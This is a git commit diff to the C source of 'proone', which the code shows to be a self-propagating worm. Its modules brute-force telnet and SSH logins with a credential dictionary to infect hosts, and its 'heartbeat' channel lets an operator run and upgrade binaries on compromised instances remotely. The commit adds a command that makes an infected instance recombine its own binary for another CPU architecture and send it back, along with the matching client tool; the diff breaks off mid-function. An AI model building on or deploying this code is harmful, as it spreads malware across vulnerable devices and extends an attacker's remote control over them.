aboutsummaryrefslogtreecommitdiff
path: root/src
diff options
context:
space:
mode:
Diffstat (limited to 'src')
-rw-r--r--src/bne.c21
-rw-r--r--src/bne.h10
-rw-r--r--src/dvault.c4
-rw-r--r--src/htbt.c220
-rw-r--r--src/htbt.h2
-rw-r--r--src/pack.c11
-rw-r--r--src/pack.h14
-rw-r--r--src/proone-bne.c11
-rw-r--r--src/proone-htbtclient.c339
-rw-r--r--src/proone-test_proto.c2
-rw-r--r--src/proone.c52
-rw-r--r--src/proone.h8
-rw-r--r--src/protocol.c48
-rw-r--r--src/protocol.h26
-rw-r--r--src/resolv.c3
15 files changed, 687 insertions, 84 deletions
diff --git a/src/bne.c b/src/bne.c
index ebbbfed..b3ee4b9 100644
--- a/src/bne.c
+++ b/src/bne.c
@@ -1298,13 +1298,13 @@ static bool bne_sh_start_rcb (prne_bne_t *ctx, bne_sh_ctx_t *sh_ctx) {
ctx->result.prc = prne_start_bin_rcb_compat(
&sh_ctx->rcb,
ctx->result.arch,
- ctx->param.rcb.self,
- ctx->param.rcb.m_self,
- ctx->param.rcb.self_len,
- ctx->param.rcb.exec_len,
- ctx->param.rcb.m_dv,
- ctx->param.rcb.dv_len,
- ctx->param.rcb.ba,
+ ctx->param.rcb->self,
+ ctx->param.rcb->m_self,
+ ctx->param.rcb->self_len,
+ ctx->param.rcb->exec_len,
+ ctx->param.rcb->m_dv,
+ ctx->param.rcb->dv_len,
+ ctx->param.rcb->ba,
&actual);
if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) {
@@ -3217,7 +3217,6 @@ static void *bne_entry_f (void *p) {
void prne_init_bne_param (prne_bne_param_t *p) {
prne_memzero(p, sizeof(prne_bne_param_t));
- p->rcb.self = PRNE_ARCH_NONE;
}
void prne_free_bne_param (prne_bne_param_t *p) {}
@@ -3228,6 +3227,7 @@ const char *prne_bne_vector_tostr (const prne_bne_vector_t v) {
case PRNE_BNE_V_BRUTE_TELNET: return "telnet";
case PRNE_BNE_V_BRUTE_SSH: return "ssh";
}
+ errno = EINVAL;
return NULL;
}
@@ -3241,7 +3241,10 @@ prne_bne_t *prne_alloc_bne (
if (ctr_drbg == NULL ||
param->cb.exec_name == NULL ||
- param->rcb.ba == NULL ||
+ param->rcb == NULL ||
+ /* The instance will only be able to infect hosts with same arch without
+ bin archive. */
+ // param->rcb->ba == NULL ||
param->cred_dict->cnt == 0)
{
errno = EINVAL;
diff --git a/src/bne.h b/src/bne.h
index dd83dc1..a3f7979 100644
--- a/src/bne.h
+++ b/src/bne.h
@@ -40,15 +40,7 @@ struct prne_bne_param {
void (*exit_dd)(void *ctx);
} cb;
void *cb_ctx;
- struct {
- const uint8_t *m_self;
- size_t self_len;
- size_t exec_len;
- const uint8_t *m_dv;
- size_t dv_len;
- const prne_bin_archive_t *ba;
- prne_arch_t self;
- } rcb;
+ const prne_rcb_param_t *rcb;
prne_ip_addr_t subject;
unsigned int login_attempt;
};
diff --git a/src/dvault.c b/src/dvault.c
index 602ec70..3a286f5 100644
--- a/src/dvault.c
+++ b/src/dvault.c
@@ -43,6 +43,7 @@ const char *prne_data_type_tostr (const prne_data_type_t t) {
case PRNE_DATA_TYPE_CSTR: return "cstr";
case PRNE_DATA_TYPE_BIN: return "bin";
}
+ errno = EINVAL;
return NULL;
}
@@ -53,7 +54,7 @@ prne_data_type_t prne_data_type_fstr (const char *str) {
if (prne_nstreq(str, prne_data_type_tostr(PRNE_DATA_TYPE_BIN))) {
return PRNE_DATA_TYPE_BIN;
}
-
+ errno = EINVAL;
return PRNE_DATA_TYPE_NONE;
}
@@ -128,6 +129,7 @@ const char *prne_dvault_mask_result_tostr (
case PRNE_DVAULT_MASK_TOO_LARGE: return "data too large";
case PRNE_DVAULT_MASK_INVALID_TYPE: return "invalid type";
}
+ errno = EINVAL;
return NULL;
}
diff --git a/src/htbt.c b/src/htbt.c
index bf4f32b..e059066 100644
--- a/src/htbt.c
+++ b/src/htbt.c
@@ -75,6 +75,7 @@ typedef struct {
void (*lm_release_f)(void *ioctx, const htbt_lmk_t v);
const prne_htbt_cbset_t *cbset;
void *cb_ctx;
+ const prne_rcb_param_t *rcb;
size_t skip;
prne_iobuf_t iobuf[2];
prne_pth_cv_t cv;
@@ -1162,7 +1163,6 @@ static bool htbt_slv_srv_bin (
prne_htbt_status_code_t ret_status = PRNE_HTBT_STATUS_OK;
int32_t ret_errno = 0;
htbt_lmk_t lmk = HTBT_LMK_NONE;
- mode_t tmpfm;
prne_dbgast(
mh->op == PRNE_HTBT_OP_RUN_BIN ||
@@ -1208,12 +1208,7 @@ static bool htbt_slv_srv_bin (
}
errno = 0;
- switch (mh->op) {
- case PRNE_HTBT_OP_RUN_BIN:
- case PRNE_HTBT_OP_UP_BIN: tmpfm = 0700; break;
- default: tmpfm = 0600;
- }
- path = ctx->cbset->tmpfile(ctx->cb_ctx, bin_meta.bin_size, tmpfm);
+ path = ctx->cbset->tmpfile(ctx->cb_ctx, bin_meta.bin_size, 0700);
if (path == NULL) {
ret_status = PRNE_HTBT_STATUS_ERRNO;
ret_errno = errno;
@@ -1410,6 +1405,212 @@ END:
return ret;
}
+static void htbt_slv_set_pack_err (
+ prne_pack_rc_t prc,
+ const int ierr,
+ prne_htbt_status_code_t *ost,
+ int32_t *oerr)
+{
+ switch (prc) {
+ case PRNE_PACK_RC_OK:
+ case PRNE_PACK_RC_EOF:
+ case PRNE_PACK_RC_INVAL:
+ case PRNE_PACK_RC_FMT_ERR:
+ case PRNE_PACK_RC_NO_ARCH:
+ *ost = PRNE_HTBT_STATUS_SUB;
+ *oerr = prc;
+ break;
+ case PRNE_PACK_RC_ERRNO:
+ *ost = PRNE_HTBT_STATUS_ERRNO;
+ *oerr = ierr;
+ break;
+ case PRNE_PACK_RC_Z_ERR:
+ *ost = PRNE_HTBT_STATUS_SUB;
+ *oerr = (int32_t)ierr << 8 | (int32_t)prc;
+ break;
+ default:
+ *ost = PRNE_HTBT_STATUS_UNIMPL;
+ *oerr = 0;
+ }
+}
+
+static bool htbt_slv_srv_rcb (
+ htbt_slv_ctx_t *ctx,
+ pth_event_t root_ev,
+ size_t off,
+ const prne_htbt_msg_head_t *org_mh)
+{
+ bool ret = true;
+ prne_htbt_rcb_t rcb_f;
+ prne_htbt_ser_rc_t s_ret;
+ size_t actual;
+ prne_htbt_status_code_t status = PRNE_HTBT_STATUS_OK;
+ int32_t err = 0;
+ prne_pack_rc_t prc;
+ prne_bin_rcb_ctx_t rcb_ctx;
+ prne_iobuf_t rcb_ib;
+ pth_event_t ev = NULL;
+ prne_arch_t started_arch;
+ ssize_t io_ret;
+ int rcb_err = 0;
+ prne_htbt_stdio_t data_f;
+ prne_htbt_msg_head_t mh;
+
+ prne_htbt_init_msg_head(&mh);
+ prne_htbt_init_rcb(&rcb_f);
+ prne_htbt_init_stdio(&data_f);
+ prne_init_bin_rcb_ctx(&rcb_ctx);
+ prne_init_iobuf(&rcb_ib);
+// TRY
+ s_ret = prne_htbt_dser_rcb(
+ ctx->iobuf[0].m + off,
+ ctx->iobuf[0].len - off,
+ &actual,
+ &rcb_f);
+ if (s_ret == PRNE_HTBT_SER_RC_MORE_BUF) {
+ ret = false;
+ goto END;
+ }
+ else {
+ off += actual;
+ prne_iobuf_shift(ctx->iobuf + 0, -off);
+ }
+ if (s_ret != PRNE_HTBT_SER_RC_OK) {
+ htbt_slv_raise_protoerr(ctx, org_mh->id, 0);
+ goto END;
+ }
+
+ if (ctx->rcb == NULL) {
+ status = PRNE_HTBT_STATUS_ERRNO;
+ err = ENOMEDIUM;
+ goto STATUS_END;
+ }
+ if (!(prne_alloc_iobuf(&rcb_ib, PRNE_HTBT_STDIO_LEN_MAX) ||
+ prne_alloc_iobuf(&rcb_ib, 512)))
+ {
+ status = PRNE_HTBT_STATUS_ERRNO;
+ err = errno;
+ goto STATUS_END;
+ }
+
+ if (rcb_f.arch == PRNE_ARCH_NONE) {
+ rcb_f.arch = ctx->rcb->self;
+ }
+ if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) {
+ prne_dbgpf(
+ HTBT_NT_SLV"@%"PRIuPTR": starting rcb self=%02X target=%02X\n",
+ (uintptr_t)ctx,
+ ctx->rcb->self,
+ rcb_f.arch);
+ }
+ prc = prne_start_bin_rcb_compat(
+ &rcb_ctx,
+ rcb_f.arch,
+ ctx->rcb->self,
+ ctx->rcb->m_self,
+ ctx->rcb->self_len,
+ ctx->rcb->exec_len,
+ ctx->rcb->m_dv,
+ ctx->rcb->dv_len,
+ ctx->rcb->ba,
+ &started_arch);
+ if (prc != PRNE_PACK_RC_OK) {
+ htbt_slv_set_pack_err(prc, errno, &status, &err);
+ goto STATUS_END;
+ }
+ if (!rcb_f.compat &&
+ rcb_f.arch != PRNE_ARCH_NONE &&
+ rcb_f.arch != started_arch)
+ {
+ htbt_slv_set_pack_err(PRNE_PACK_RC_NO_ARCH, 0, &status, &err);
+ goto STATUS_END;
+ }
+
+ mh.id = org_mh->id;
+ mh.is_rsp = true;
+ mh.op = PRNE_HTBT_OP_STDIO;
+ while (rcb_ib.len > 0 || prc != PRNE_PACK_RC_EOF) {
+ pth_event_free(ev, FALSE);
+ ev = pth_event(
+ PTH_EVENT_TIME,
+ prne_pth_tstimeout(HTBT_DL_TICK_TIMEOUT));
+ prne_assert(ev != NULL);
+
+ if (rcb_ib.avail > 0 && prc != PRNE_PACK_RC_EOF) {
+ io_ret = prne_bin_rcb_read(
+ &rcb_ctx,
+ rcb_ib.m + rcb_ib.len,
+ rcb_ib.avail,
+ &prc,
+ &rcb_err);
+ if (io_ret < 0) {
+ htbt_slv_set_pack_err(prc, rcb_err, &status, &err);
+ goto STATUS_END;
+ }
+ prne_iobuf_shift(&rcb_ib, io_ret);
+ }
+ if (rcb_ib.len > 0) {
+ data_f.len = rcb_ib.len;
+ htbt_slv_fab_frame(
+ ctx,
+ &mh,
+ &data_f,
+ (prne_htbt_ser_ft)prne_htbt_ser_stdio,
+ ev);
+ do {
+ io_ret = prne_op_min(ctx->iobuf[1].avail, rcb_ib.len);
+ memcpy(ctx->iobuf[1].m + ctx->iobuf[1].len, rcb_ib.m, io_ret);
+ prne_iobuf_shift(ctx->iobuf + 1, io_ret);
+ prne_iobuf_shift(&rcb_ib, -io_ret);
+
+ htbt_slv_consume_outbuf(ctx, 0, ev);
+ if (!ctx->valid) {
+ goto END;
+ }
+ } while (rcb_ib.len > 0);
+ }
+
+ pth_yield(NULL);
+ }
+
+ pth_event_free(ev, FALSE);
+ ev = pth_event(
+ PTH_EVENT_TIME,
+ prne_pth_tstimeout(HTBT_DL_TICK_TIMEOUT));
+ prne_assert(ev != NULL);
+
+ data_f.fin = true;
+ data_f.len = 0;
+ htbt_slv_fab_frame(
+ ctx,
+ &mh,
+ &data_f,
+ (prne_htbt_ser_ft)prne_htbt_ser_stdio,
+ ev);
+
+STATUS_END:
+ if (status != PRNE_HTBT_STATUS_OK) {
+ htbt_slv_fab_status(
+ ctx,
+ status,
+ err,
+ org_mh->id,
+ root_ev);
+ if (status == PRNE_HTBT_STATUS_OK) {
+ htbt_slv_consume_outbuf(ctx, ctx->iobuf[1].len, root_ev);
+ ctx->valid = false;
+ }
+ }
+END:
+ prne_htbt_free_msg_head(&mh);
+ prne_free_iobuf(&rcb_ib);
+ prne_htbt_free_rcb(&rcb_f);
+ prne_htbt_free_stdio(&data_f);
+ prne_free_bin_rcb_ctx(&rcb_ctx);
+ pth_event_free(ev, FALSE);
+ return ret;
+}
+
static void htbt_slv_skip_inbuf (htbt_slv_ctx_t *ctx) {
size_t consume;
@@ -1489,6 +1690,9 @@ static bool htbt_slv_consume_inbuf (
case PRNE_HTBT_OP_HOVER:
ret |= htbt_slv_srv_hover(ctx, root_ev, actual, &f_head);
break;
+ case PRNE_HTBT_OP_RCB:
+ ret |= htbt_slv_srv_rcb(ctx, root_ev, actual, &f_head);
+ break;
default:
htbt_slv_raise_protoerr(ctx, f_head.id, PRNE_HTBT_STATUS_UNIMPL);
goto END;
@@ -1924,6 +2128,7 @@ static void htbt_main_srv_hover (
c.slv.lm_acquire_f = htbt_main_slv_lm_acq_f;
c.slv.lm_release_f = htbt_main_slv_lm_rel_f;
c.slv.cbset = &ctx->param.cb_f;
+ c.slv.rcb = ctx->param.rcb;
c.slv.cb_ctx = ctx->param.cb_ctx;
c.slv.cv.lock = &ctx->lock;
c.slv.cv.cond = &ctx->cond;
@@ -2621,6 +2826,7 @@ static bool htbt_alloc_lbd_client (
c->slv.lm_acquire_f = htbt_lbd_slv_lm_acq_f;
c->slv.lm_release_f = htbt_lbd_slv_lm_rel_f;
c->slv.cbset = &parent->param.cb_f;
+ c->slv.rcb = parent->param.rcb;
c->slv.cb_ctx = parent->param.cb_ctx;
c->slv.cv.lock = &parent->lock;
c->slv.cv.cond = &parent->cond;
diff --git a/src/htbt.h b/src/htbt.h
index 3d6a42c..45debf0 100644
--- a/src/htbt.h
+++ b/src/htbt.h
@@ -2,6 +2,7 @@
#include "pth.h"
#include "resolv.h"
#include "protocol.h"
+#include "pack.h"
#include <mbedtls/ssl.h>
@@ -35,6 +36,7 @@ struct prne_htbt_param {
prne_resolv_t *resolv;
prne_htbt_cbset_t cb_f;
void *cb_ctx;
+ const prne_rcb_param_t *rcb;
int blackhole;
};
diff --git a/src/pack.c b/src/pack.c
index 156da48..a11d60b 100644
--- a/src/pack.c
+++ b/src/pack.c
@@ -447,6 +447,10 @@ prne_pack_rc_t prne_start_bin_rcb (
prne_bin_tuple_t *t = NULL;
size_t seek = 0;
+ if (ba == NULL) {
+ return PRNE_PACK_RC_INVAL;
+ }
+
for (size_t i = 0; i < ba->nb_bin; i += 1) {
if (ba->bin[i].arch == target) {
t = &ba->bin[i];
@@ -590,6 +594,12 @@ bool prne_index_nybin (
return true;
}
+void prne_init_rcb_param (prne_rcb_param_t *rp) {
+ prne_memzero(rp, sizeof(prne_rcb_param_t));
+}
+
+void prne_free_rcb_param (prne_rcb_param_t *rp) {}
+
const prne_arch_t *prne_compat_arch (const prne_arch_t target) {
static const prne_arch_t F_X86[] = {
PRNE_ARCH_X86_64,
@@ -623,5 +633,6 @@ const char *prne_pack_rc_tostr (const prne_pack_rc_t prc) {
case PRNE_PACK_RC_Z_ERR: return "zlib error";
case PRNE_PACK_RC_NO_ARCH: return "no arch";
}
+ errno = EINVAL;
return NULL;
}
diff --git a/src/pack.h b/src/pack.h
index 6a752db..9055267 100644
--- a/src/pack.h
+++ b/src/pack.h
@@ -10,6 +10,7 @@
typedef struct prne_bin_tuple prne_bin_tuple_t;
typedef struct prne_bin_archive prne_bin_archive_t;
typedef struct prne_bin_rcb_ctx prne_bin_rcb_ctx_t;
+typedef struct prne_rcb_param prne_rcb_param_t;
typedef enum {
PRNE_PACK_RC_OK,
@@ -47,6 +48,16 @@ struct prne_bin_rcb_ctx {
int *err);
};
+struct prne_rcb_param {
+ const uint8_t *m_self;
+ size_t self_len;
+ size_t exec_len;
+ const uint8_t *m_dv;
+ size_t dv_len;
+ const prne_bin_archive_t *ba;
+ prne_arch_t self;
+};
+
void prne_init_bin_archive (prne_bin_archive_t *a);
void prne_free_bin_archive (prne_bin_archive_t *a);
prne_pack_rc_t prne_index_bin_archive (
@@ -92,6 +103,9 @@ bool prne_index_nybin (
const uint8_t **m_ba,
size_t *ba_len);
+void prne_init_rcb_param (prne_rcb_param_t *rp);
+void prne_free_rcb_param (prne_rcb_param_t *rp);
+
const prne_arch_t *prne_compat_arch (const prne_arch_t arch);
const char *prne_pack_rc_tostr (const prne_pack_rc_t prc);
diff --git a/src/proone-bne.c b/src/proone-bne.c
index 20fb24b..0a3f75d 100644
--- a/src/proone-bne.c
+++ b/src/proone-bne.c
@@ -175,6 +175,7 @@ int main (const int argc, const char **args) {
prne_cred_dict_t dict;
prne_bin_archive_t ba;
prne_bne_param_t param;
+ prne_rcb_param_t rcb;
prne_pack_rc_t prc;
mbedtls_entropy_context entropy;
mbedtls_ctr_drbg_context ctr_drbg;
@@ -191,6 +192,7 @@ int main (const int argc, const char **args) {
prne_init_cred_dict(&dict);
prne_init_bne_param(&param);
+ prne_init_rcb_param(&rcb);
prne_init_bin_archive(&ba);
mbedtls_x509_crt_init(&htbt_ssl.ca);
@@ -295,13 +297,15 @@ int main (const int argc, const char **args) {
goto END;
}
+ rcb.m_dv = m_dv;
+ rcb.dv_len = dv_len;
+ rcb.ba = &ba;
+
param.htbt_ssl_conf = &htbt_ssl.conf;
param.cred_dict = &dict;
param.vector.arr = ARR_VEC;
param.vector.cnt = sizeof(ARR_VEC)/sizeof(prne_bne_vector_t);
- param.rcb.m_dv = m_dv;
- param.rcb.dv_len = dv_len;
- param.rcb.ba = &ba;
+ param.rcb = &rcb;
param.cb.exec_name = cb_exec_name;
for (size_t i = 0; i < cnt; i += 1) {
@@ -381,6 +385,7 @@ END: // CATCH
mbedtls_ssl_config_free(&htbt_ssl.conf);
prne_free_cred_dict(&dict);
prne_free_bne_param(&param);
+ prne_free_rcb_param(&rcb);
prne_free_bin_archive(&ba);
prne_close(fd);
prne_free(arr);
diff --git a/src/proone-htbtclient.c b/src/proone-htbtclient.c
index c7328f1..783a797 100644
--- a/src/proone-htbtclient.c
+++ b/src/proone-htbtclient.c
@@ -116,6 +116,20 @@
"Note that an instance will continue to run with original binary if it fails to\n"\
"exec() to the new binary.\n"\
"\n"
+#define RCB_HELP_STR \
+"Order instance to do binary recombination and download the binary.\n"\
+"Usage: %s [common options] rcb [options] [OUTFILE]\n"\
+"\n"\
+"Options:\n"\
+" --arch <ARCH> target CPU ARCH\n"\
+" --no-compat do not allow recombination of compatible arch\n"\
+" -f overwrite OUTFILE\n"\
+"\n"\
+"The program will write to stdout if OUTFILE is \"-\"(default).\n"\
+"If --arch option is not used, binary recombination will not take place and the\n"\
+"running executable will be copied(i.e., \"self copy\").\n"\
+"Run proone-list-arch for possible values for --arch option.\n"\
+"\n"
enum sub_command {
SC_NONE,
@@ -163,6 +177,11 @@ struct {
bool detached;
bool compat;
} run;
+ struct {
+ char *out_path;
+ bool f;
+ prne_htbt_rcb_t rcb;
+ } rcb;
} cmd_param;
void (*free_cmdparam_f)(void);
} prog_conf;
@@ -183,6 +202,8 @@ struct {
} net;
struct {
yaml_emitter_t *emitter;
+ int fd;
+ bool our_fd;
} yaml;
union {
struct {
@@ -193,6 +214,11 @@ struct {
prne_iobuf_t ib;
prne_htbt_status_t st;
} run;
+ struct {
+ int fd;
+ bool our_file;
+ prne_iobuf_t ib;
+ } rcb;
} cmd_st;
void (*free_cmdst_f)(void);
} prog_g;
@@ -214,7 +240,9 @@ static void print_help (const char *prog, const sub_command_t sc, FILE *out_f) {
case SC_UPBIN:
fprintf(out_f, UPBIN_HELP_STR, prog);
break;
- // TODO
+ case SC_RCB:
+ fprintf(out_f, RCB_HELP_STR, prog);
+ break;
default: fprintf(out_f, MAIN_HELP_STR, prog, prog);
}
}
@@ -239,10 +267,13 @@ static void init_prog_g (void) {
perror("prne_alloc_iobuf()");
abort();
}
+
+ prog_g.yaml.fd = -1;
}
static void free_run_g (void) {
prne_close(prog_g.cmd_st.run.fd);
+ prog_g.cmd_st.run.fd = -1;
prne_free_iobuf(&prog_g.cmd_st.run.ib);
prne_htbt_free_status(&prog_g.cmd_st.run.st);
}
@@ -259,6 +290,24 @@ static void init_run_g (void) {
prog_g.free_cmdst_f = free_run_g;
}
+static void free_rcb_g (void) {
+ prne_close(prog_g.cmd_st.rcb.fd);
+ prog_g.cmd_st.rcb.fd = -1;
+ prne_free_iobuf(&prog_g.cmd_st.rcb.ib);
+}
+
+static void init_rcb_g (void) {
+ assert(prog_g.free_cmdst_f == NULL);
+
+ prog_g.cmd_st.rcb.fd = -1;
+ prne_init_iobuf(&prog_g.cmd_st.rcb.ib);
+ if (!prne_alloc_iobuf(&prog_g.cmd_st.rcb.ib, PRNE_HTBT_STDIO_LEN_MAX)) {
+ perror("prne_alloc_iobuf()");
+ abort();
+ }
+ prog_g.free_cmdst_f = free_rcb_g;
+}
+
static void deinit_prog_g (void) {
// TODO
if (prog_g.free_cmdst_f != NULL) {
@@ -289,14 +338,32 @@ static void init_hover_conf (void) {
static void free_run_conf (void) {
prne_htbt_free_bin_meta(&prog_conf.cmd_param.run.bm);
prne_free(prog_conf.cmd_param.run.bin_path);
+ prog_conf.cmd_param.run.bin_path = NULL;
}
static void init_run_conf (void) {
+ assert(prog_conf.free_cmdparam_f == NULL);
prne_htbt_init_bin_meta(&prog_conf.cmd_param.run.bm);
prog_conf.cmd_param.run.compat = true;
+
prog_conf.free_cmdparam_f = free_run_conf;
}
+static void free_rcb_conf (void) {
+ prne_free(prog_conf.cmd_param.rcb.out_path);
+ prog_conf.cmd_param.rcb.out_path = NULL;
+ prne_htbt_free_rcb(&prog_conf.cmd_param.rcb.rcb);
+}
+
+static void init_rcb_conf (void) {
+ assert(prog_conf.free_cmdparam_f == NULL);
+ prne_htbt_init_rcb(&prog_conf.cmd_param.rcb.rcb);
+ prog_conf.cmd_param.rcb.out_path = prne_dup_str("-");
+ prog_conf.cmd_param.rcb.rcb.compat = true;
+
+ prog_conf.free_cmdparam_f = free_rcb_conf;
+}
+
static void deinit_prog_conf (void) {
if (prog_conf.free_cmdparam_f != NULL) {
prog_conf.free_cmdparam_f();
@@ -586,10 +653,56 @@ static int parse_args_upbin (const int argc, char *const *args) {
}
static int parse_args_rcb (const int argc, char *const *args) {
+ static const struct option lopts[] = {
+ { "arch", required_argument, 0, 0 },
+ { "no-compat", no_argument, 0, 0 },
+ { 0, 0, 0, 0 }
+ };
+ int li, f_ret;
+ const struct option *co;
+
if (!assert_host_arg()) {
return 2;
}
- // TODO
+ init_rcb_conf();
+ init_rcb_g();
+
+ while (true) {
+ f_ret = getopt_long(argc, args, "f", lopts, &li);
+ if (f_ret == 'f') {
+ prog_conf.cmd_param.rcb.f = true;
+ continue;
+ }
+ else if (f_ret != 0) {
+ break;
+ }
+
+ co = (const struct option*)lopts + li;
+ if (strcmp("arch", co->name) == 0) {
+ prog_conf.cmd_param.rcb.rcb.arch = prne_arch_fstr(optarg);
+ if (prog_conf.cmd_param.rcb.rcb.arch == PRNE_ARCH_NONE) {
+ perror(optarg);
+ return 2;
+ }
+ }
+ else if (strcmp("no-compat", co->name) == 0) {
+ prog_conf.cmd_param.rcb.rcb.compat = false;
+ }
+ else {
+ abort();
+ }
+ }
+
+ if (argc > optind) {
+ prne_free(prog_conf.cmd_param.rcb.out_path);
+ prog_conf.cmd_param.rcb.out_path = prne_dup_str(args[optind]);
+ if (prog_conf.cmd_param.rcb.out_path == NULL) {
+ perror("prne_dup_str()");
+ abort();
+ }
+ optind += 1;
+ }
+
return 0;
}
@@ -914,7 +1027,7 @@ static int yaml_output_handler(void *data, unsigned char *buffer, size_t size) {
ssize_t io_ret;
while (size > 0) {
- io_ret = write(STDOUT_FILENO, buffer, size);
+ io_ret = write(prog_g.yaml.fd, buffer, size);
if (io_ret <= 0) {
if (io_ret < 0) {
perror("write()");
@@ -1004,6 +1117,10 @@ static void emit_scalar (const char *type, const char *val) {
}
}
+static void emit_bool_scalar (const bool val) {
+ emit_scalar(YAML_BOOL_TAG, val ? "true" : "false");
+}
+
static void emit_scalar_fmt (const char *type, const char *fmt, ...) {
char *str;
int f_ret;
@@ -1026,14 +1143,13 @@ static void emit_scalar_fmt (const char *type, const char *fmt, ...) {
prne_free(str);
}
-static void start_yaml (void) {
+static void start_yaml (const int fd, const bool ours) {
yaml_event_t e;
- if (prog_g.yaml.emitter != NULL) {
- fprintf(stderr, "start_yaml() called twice!\n");
- abort();
- }
+ assert(prog_g.yaml.emitter == NULL);
+ prog_g.yaml.fd = fd;
+ prog_g.yaml.our_fd = ours;
prog_g.yaml.emitter = prne_malloc(sizeof(yaml_emitter_t), 1);
if (yaml_emitter_initialize(prog_g.yaml.emitter) == 0) {
yaml_perror("yaml_emitter_initialize()");
@@ -1079,6 +1195,13 @@ static void end_yaml (void) {
yaml_perror("yaml_stream_end_event_initialize()");
abort();
}
+
+ yaml_emitter_delete(prog_g.yaml.emitter);
+ prog_g.yaml.emitter = NULL;
+ if (prog_g.yaml.our_fd) {
+ prne_close(prog_g.yaml.fd);
+ prog_g.yaml.fd = -1;
+ }
}
static bool do_connect (void) {
@@ -1163,6 +1286,17 @@ static void raise_proto_err (const char *fmt, ...) {
fprintf(stderr, "\n");
}
+static void raise_invalid_op (const prne_htbt_op_t op) {
+ raise_proto_err("invalid response op %"PRIx8"", op);
+}
+
+static void raise_invalid_status (const prne_htbt_status_t *st) {
+ raise_proto_err(
+ "Invalid status response: code=%"PRIx8", err=%"PRId32,
+ st->code,
+ st->err);
+}
+
static bool send_frame (const void *frame, prne_htbt_ser_ft ser_f) {
int f_ret;
size_t actual;
@@ -1300,6 +1434,10 @@ static void emit_status_frame (const prne_htbt_status_t *st) {
emit_scalar_fmt(YAML_INT_TAG, "%d", st->code);
emit_scalar(YAML_STR_TAG, "err");
emit_scalar_fmt(YAML_INT_TAG, "%"PRId32, st->err);
+ if (st->code == PRNE_HTBT_STATUS_ERRNO) {
+ emit_scalar(YAML_STR_TAG, "err_str");
+ emit_scalar(YAML_STR_TAG, strerror(st->err));
+ }
emit_mapping_end();
}
@@ -1545,7 +1683,7 @@ static bool do_hostinfo (
*status = true;
break;
default:
- raise_proto_err("invalid response op %"PRIx8"\n", mh.op);
+ raise_invalid_op(mh.op);
goto END;
}
ret = true;
@@ -1573,13 +1711,12 @@ static int cmdmain_hostinfo (void) {
goto END;
}
+ start_yaml(STDOUT_FILENO, false);
if (status) {
- start_yaml();
emit_preemble("hostinfo", "status", NULL);
emit_status_frame(&st);
}
else {
- start_yaml();
emit_preemble("hostinfo", "ok", NULL);
emit_hostinfo_frame(&hi);
}
@@ -1860,7 +1997,7 @@ static bool run_recvstd (const uint16_t msgid, int *fd) {
break;
default:
ret = false;
- raise_proto_err("invalid response op %"PRIx8"\n", mh.op);
+ raise_invalid_op(mh.op);
goto END;
}
@@ -1968,10 +2105,7 @@ static int cmdmain_run (void) {
perror("Error status");
return 1;
default:
- raise_proto_err(
- "Invalid response: code=%"PRIx8", err=%"PRId32,
- prog_g.cmd_st.run.st.code,
- prog_g.cmd_st.run.st.err);
+ raise_invalid_status(&prog_g.cmd_st.run.st);
return 1;
}
} while (false);
@@ -1986,6 +2120,8 @@ static void emit_upbin_opts (void) {
emit_scalar(YAML_STR_TAG, "bin_type");
if (prog_conf.cmd_param.run.bin_type == BT_NYBIN) {
emit_scalar(YAML_STR_TAG, "nybin");
+ emit_scalar(YAML_STR_TAG, "compat");
+ emit_bool_scalar(prog_conf.cmd_param.run.compat);
emit_scalar(YAML_STR_TAG, "arch_host");
emit_scalar(YAML_STR_TAG, prne_arch_tostr(prog_g.cmd_st.run.arch_host));
emit_scalar(YAML_STR_TAG, "arch_rcb");
@@ -2229,7 +2365,7 @@ static int cmdmain_upbin (void) {
return 1;
}
- start_yaml();
+ start_yaml(STDOUT_FILENO, false);
emit_preemble("upbin", "ok", emit_upbin_opts);
emit_status_frame(&prog_g.cmd_st.run.st);
@@ -2267,7 +2403,7 @@ static int cmdmain_hover (void) {
goto END;
}
if (mh.op != PRNE_HTBT_OP_STATUS) {
- raise_proto_err("invalid response op %"PRIx8"\n", mh.op);
+ raise_invalid_op(mh.op);
ret = 1;
goto END;
}
@@ -2276,7 +2412,7 @@ static int cmdmain_hover (void) {
ret = 1;
goto END;
}
- start_yaml();
+ start_yaml(STDOUT_FILENO, false);
emit_preemble("hover", "ok", emit_hover_opts);
emit_status_frame(&st);
@@ -2286,6 +2422,169 @@ END:
return ret;
}
+static void emit_rcb_opts (void) {
+ emit_scalar(YAML_STR_TAG, PREEMBLE_OPT_TAG_NAME);
+ emit_mapping_start();
+ if (prog_conf.cmd_param.rcb.rcb.arch != PRNE_ARCH_NONE) {
+ emit_scalar(YAML_STR_TAG, "arch");
+ emit_scalar(
+ YAML_STR_TAG,
+ prne_arch_tostr(prog_conf.cmd_param.rcb.rcb.arch));
+ }
+ emit_scalar(YAML_STR_TAG, "compat");
+ emit_bool_scalar(prog_conf.cmd_param.rcb.rcb.compat);
+ emit_mapping_end();
+}
+
+static bool rcb_open_outfile (void) {
+ assert(prog_g.cmd_st.rcb.fd < 0);
+ assert(prog_conf.cmd_param.rcb.out_path != NULL);
+ if (strcmp(prog_conf.cmd_param.rcb.out_path, "-") == 0) {
+ prog_g.cmd_st.rcb.fd = STDOUT_FILENO;
+ prog_g.cmd_st.rcb.our_file = false;
+ }
+ else {
+ if (!prog_conf.cmd_param.rcb.f) {
+ if (access(prog_conf.cmd_param.rcb.out_path, F_OK) == 0) {
+ errno = EEXIST;
+ perror(prog_conf.cmd_param.rcb.out_path);
+ return false;
+ }
+ }
+
+ prog_g.cmd_st.rcb.fd = open(
+ prog_conf.cmd_param.rcb.out_path,
+ O_CREAT | O_TRUNC | O_WRONLY,
+ 0755);
+ if (prog_g.cmd_st.rcb.fd < 0) {
+ perror(prog_conf.cmd_param.rcb.out_path);
+ return false;
+ }
+ prog_g.cmd_st.rcb.our_file = true;
+ }
+
+ return true;
+}
+
+static int cmdmain_rcb (void) {
+ int ret = 0;
+ prne_htbt_msg_head_t mh;
+ prne_htbt_status_t st;
+ prne_htbt_stdio_t df;
+ uint16_t msgid = prne_htbt_gen_msgid(NULL, htbt_msgid_rnd_f);
+ ssize_t io_ret;
+ size_t sum = 0;
+
+ prne_htbt_init_msg_head(&mh);
+ prne_htbt_init_status(&st);
+ prne_htbt_init_stdio(&df);
+
+ if (!rcb_open_outfile()) {
+ ret = 1;
+ goto END;
+ }
+ if (isatty(prog_g.cmd_st.rcb.fd)) {
+ ret = 1;
